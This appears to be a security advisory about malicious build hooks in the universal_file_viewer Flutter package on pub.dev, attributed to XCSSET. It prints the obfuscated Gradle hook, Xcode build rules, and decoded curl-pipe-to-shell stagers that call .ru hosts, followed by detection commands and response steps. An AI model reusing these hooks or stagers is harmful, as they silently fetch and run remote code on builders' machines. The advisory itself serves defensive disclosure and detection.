high

CVE

Not assigned

CWE

CWE-506

Affected Surface

  • pub.dev package `universal_file_viewer` versions `0.1.5` and `0.1.6`, which the registry now lists as retracted
  • macOS developer workstations that cloned the repository or unpacked the affected tarballs and built the `example/` app through Xcode
  • Flutter and CI environments that built the `example/android`, `example/ios`, or `example/macos` projects from the infected 0.1.5 source snapshot
  • Engineering workstations later exposed to XCSSET persistence through infected Xcode projects or injected Git hooks

The most important new package-registry story from the last three days is not another worm that blasted through hundreds of npm scopes. It is a quieter failure mode that many teams still underestimate: a legitimate package release published from an already infected maintainer workstation.

That is what happened to the Flutter package universal_file_viewer on pub.dev. The package’s reader-facing Dart code stayed mostly ordinary. The malicious changes landed in the shipped example/ projects instead. That difference matters because it narrows who gets hit, but it does not make the incident harmless. A team that only adds the dependency to pubspec.yaml is in a different position from a developer or CI job that clones the repository, opens the example app, and builds it on macOS.

What versions were affected

pub.dev’s version history now shows a clean before-and-after:

VersionRegistry statusWhat the public source history shows
0.1.4stablelast known clean release before the incident
0.1.5retractedfirst release that added Android, iOS, and macOS downloader hooks
0.1.6retractedremoved the Android hook, but left the Xcode-triggered downloaders
0.1.7stableremoved the malicious Xcode build rules and related variables

The upstream commit times are close enough to reconstruct the sequence:

  • 2026-09-08T10:42:03Z: 0.1.5 commit lands with the malicious build hooks
  • 2026-09-08T11:42:46Z: 0.1.6 removes the Android hook only
  • 2026-09-08T17:28:01Z: 0.1.7 removes the remaining Xcode-side artifacts

That timeline is useful because it shows 0.1.6 was not the clean recovery version. It was only a partial cleanup.

The Android hook in 0.1.5

The 0.1.5 commit appended an install-time hook to example/android/app/build.gradle.kts:

tasks.all {
    if (name.contains("preBuild")) {
        doLast {
            ProcessBuilder("sh", "-c", "((p(){ `printf xAxd | tr -d A` -p -r; };echo 6563...2073680a | p | sh ) >/dev/null 2>&1 &)").start()
        }
    }
}

There are two details worth calling out.

First, the code reconstructs xxd at runtime with printf xAxd | tr -d A instead of spelling the utility directly. That is basic obfuscation, but it is enough to dodge shallow string-matching on the literal tool name.

Second, the hex blob decodes to a downloader stub:

echo "$(curl -sfkL --connect-timeout 30 --retry 5 -d "p=android_kotlin" https://5yotmxcc54l9xda.ru/a)" | sh

So the Gradle project did not embed the full payload. It embedded a silent launcher that fetched shell from remote infrastructure and piped it straight into sh.

The Xcode path lasted longer than the Android one

The iOS and macOS projects were more instructive, and more operationally important.

In 0.1.5, both example/ios/Runner.xcodeproj/project.pbxproj and example/macos/Runner.xcodeproj/project.pbxproj gained a PBXBuildRule that matches *.md files, copies them into /tmp, and then executes a build variable named A3EA261:

filePatterns = "*.md";
outputFiles = (
    "/tmp/${INPUT_FILE_BASE}",
);
script = "cp \"${INPUT_FILE_PATH}\" \"/tmp/${INPUT_FILE_BASE}\"
sh -c \"${A3EA261}\"";

The same commit also added README.md to the Xcode resource graph. That is a subtle but important choice. It gives the new PBXBuildRule a predictable markdown input to process during builds, so the downloader has something to latch onto even if no ordinary source file would have matched the rule.

The injected A3EA261 values decode to two more shell stagers:

echo "$(curl --connect-timeout 26 -sLkf --retry 4 -d "p=xcode_rule" https://qdgs232i-q.ru/a)" | sh
echo "$(curl --connect-timeout 26 -sLkf --retry 4 -d "p=xcode_rule" https://ejntin6hkjt7gj2.ru/a)" | sh

The first value was placed in the iOS project, the second in the macOS one. Both use the same shape:

  1. download a script from .ru infrastructure
  2. pass a campaign or delivery marker with p=xcode_rule
  3. pipe the returned body directly into sh
  4. discard output with background execution

Why 0.1.6 still was not safe

The 0.1.6 commit is easy to misread if you only check the Android file. It removed the build.gradle.kts ProcessBuilder block and deleted the backup file that still held a second malicious variant. If you stopped there, you could conclude that the package had already been cleaned.

The rest of the diff says otherwise.

0.1.6 left the iOS and macOS PBXBuildRule objects in place. It also left the A3EA261 variables in both Xcode project files. Those were not removed until the later 0.1.7 security cleanup commit, which deleted:

  • the PBXBuildRule entries
  • the malicious README.md resource wiring
  • the A3EA261 downloader definitions

That is why the registry’s retraction status matters. The package author eventually corrected the problem, but the recovery did not happen in one step.

Why this is a supply-chain issue even though ordinary dependency use looks safer

This incident is narrower than the May and August registry worms for one reason: the malicious files sat inside the example applications, not in the main lib/ runtime code that a downstream Flutter app normally compiles.

That does not move it out of the supply-chain category. It changes the execution boundary.

The practical split looks like this:

pubspec dependency only
-> package library code used
-> example project usually ignored
-> lower immediate risk

clone repo or unpack affected tarball
-> build example/android or example/ios or example/macos
-> malicious downloader runs on the builder host
-> host compromise path begins

That distinction matters for AppSec teams because internal demos, package evaluation, CI smoke tests, and developer reproduction workflows often do build example apps. Those workflows sit outside many dependency scanners’ normal “production dependency” assumptions.

The XCSSET tradecraft lines up with older public analysis

The public incident write-up attributes the contaminated project files to XCSSET, and the code shape matches Microsoft’s 2025 analysis of that malware family:

  • Xcode project infection through modified project.pbxproj
  • layered xxd or base64 obfuscation around shell launchers
  • Git hook propagation across local repositories
  • Dock-based fake Launchpad persistence on macOS

Microsoft’s earlier write-up matters here because it shows this family does not stop at a one-shot project downloader. Once a developer machine is infected, the malware can keep seeding new repositories and build files until the workstation itself is cleaned. That matches the observed shape here: a maintainer published a package release that looks like ordinary feature work in the changelog while hidden project-file edits carried the real risk.

Detection and scoping

If your team cloned the repository or mirrored the affected tarballs, search the project files directly:

rg -n \
  "printf xAxd \\| tr -d A|PBXBuildRule|A3EA261|5yotmxcc54l9xda|qdgs232i-q|ejntin6hkjt7gj2|/tmp/\\$\\{INPUT_FILE_BASE\\}" \
  universal_file_viewer

For macOS hosts that built the example app, extend the hunt to XCSSET persistence surfaces:

rg -n "base64 --decode \\| base64 --decode|xxd -p -r" ~/.git/hooks "$HOME" 2>/dev/null
find ~/Library/Caches -maxdepth 3 -name 'Launchpad.app' 2>/dev/null

The first command looks for the project-file markers that identify the bad package releases. The second and third commands help answer the more important question: did the build trigger broader host compromise?

Response guidance

If a developer or runner built the affected example project, do not frame this as a simple package rollback.

  1. Treat the builder host as potentially compromised.
  2. Remove cached copies of universal_file_viewer 0.1.5 and 0.1.6 from internal mirrors and developer package caches.
  3. Re-clone the repository from a known-clean state or pin back to 0.1.4 while validating 0.1.7.
  4. Inspect local Git hooks, Xcode project files, and suspicious fake Launchpad artifacts on macOS.
  5. Rotate credentials reachable from any workstation or CI job that executed the example build path.

The interesting lesson here is not that pub.dev now has “a malware problem” in the abstract. It is that package consumers, maintainers, and AppSec teams still tend to focus on library source under lib/ while trusting build metadata, project files, and examples to be low risk. In this case the dangerous code was not in the advertised API surface at all. It was in the scaffolding around it.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References